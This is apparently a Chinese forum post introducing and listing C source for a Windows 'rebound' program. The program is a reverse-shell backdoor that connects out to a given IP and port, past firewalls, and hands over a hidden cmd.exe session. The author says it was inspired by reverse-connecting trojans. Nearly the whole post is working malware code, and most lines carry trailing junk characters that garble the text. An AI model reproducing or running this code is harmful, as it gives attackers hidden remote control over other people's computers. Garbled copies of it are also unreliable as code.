这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q8uq%wf
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/* ============================== ,fhF-%Q!g
Rebound port in Windows NT G .$KP
By wind,2006/7 I
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===============================*/ F8#MI
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#include Vvp{y
#include I2-ue 63 ?
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#pragma comment(lib,"wsock32.lib") 7H|0.
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void OutputShell(); `sA xk
SOCKET sClient; 'blMwD{0&\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; AAqfp/DC
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void main(int argc,char **argv) FLZ9Rg
{ 8hYl73#
WSADATA stWsaData; ?2R!n"m-d
int nRet; g}IOHE
SOCKADDR_IN stSaiClient,stSaiServer; zl|+YjR
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if(argc != 3) $Ld-lQsL
{ 8C[eHC*r
printf("Useage:\n\rRebound DestIP DestPort\n"); hL&7D@
return; Vk*XiEfKm>
} }{kn/m/
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WSAStartup(MAKEWORD(2,2),&stWsaData); /0!.u[t)~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ';}:*nZ//_
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stSaiClient.sin_family = AF_INET; C(UWir3mW?
stSaiClient.sin_port = htons(0); !Pt4\
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @4KKm@(p85
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -x:7K\=$SX
{ kd_!S[
printf("Bind Socket Failed!\n"); !T2{xmHKv$
return; I8 [
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} DC8\v+K
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stSaiServer.sin_family = AF_INET; }@/Ox
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TtnJ
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 97<Z,q72Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C~?p85
{ s];0-65)
printf("Connect Error!"); _00}O+GLM4
return; 6)W8H X~+
} wkx #WC
OutputShell(); $at\aJ
} +t&+f7
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void OutputShell() bKsEXS
{
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char szBuff[1024]; 9Y2.ob!$}
SECURITY_ATTRIBUTES stSecurityAttributes; /reGT!u
OSVERSIONINFO stOsversionInfo; x>,wmk5)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (kyRx+gA
STARTUPINFO stStartupInfo; dcTZL$
char *szShell; #xq3)B
PROCESS_INFORMATION stProcessInformation; 2}bXX'Y
unsigned long lBytesRead; w`r%_o-I
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r_FI5f
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Nq^o8q_
stSecurityAttributes.lpSecurityDescriptor = 0; v~W;&{
stSecurityAttributes.bInheritHandle = TRUE; qx9;"Ut
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tk:nth
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `sy_'`i>X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f`K#=_Kq7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `:R9M+
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stStartupInfo.wShowWindow = SW_HIDE; I,05'edCQ
stStartupInfo.hStdInput = hReadPipe; +uj;00 D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IP-M)_I
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GetVersionEx(&stOsversionInfo); U3-MvI,Q
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switch(stOsversionInfo.dwPlatformId) N})vrB;1
{ I 9?X
case 1: $ %|b6Gr/&
szShell = "command.com"; [Jjo H1E@
break; T00sYoK
default: ~IPATG
szShell = "cmd.exe"; {X<_Y<
break; ;Jb%2?+=!
} PMX'vA`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b"`Q&V.
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send(sClient,szMsg,77,0); 1}SON4U
while(1) k_Sm ep
{ ;%i-:<ac
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (Rp5g}b
if(lBytesRead) WX`wz>KK^
{ ,1-idpnX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DHyQ:0q
send(sClient,szBuff,lBytesRead,0); cVarvueS
} BZKg:;9
else BT^=p
{ n=0^8QQ
lBytesRead=recv(sClient,szBuff,1024,0); cG 3tn&AXi
if(lBytesRead<=0) break; ,%zE>^~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #N'9F&:V$
} YguW2R=6]
} a@9W'/?igk
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return; n$h+_xN
}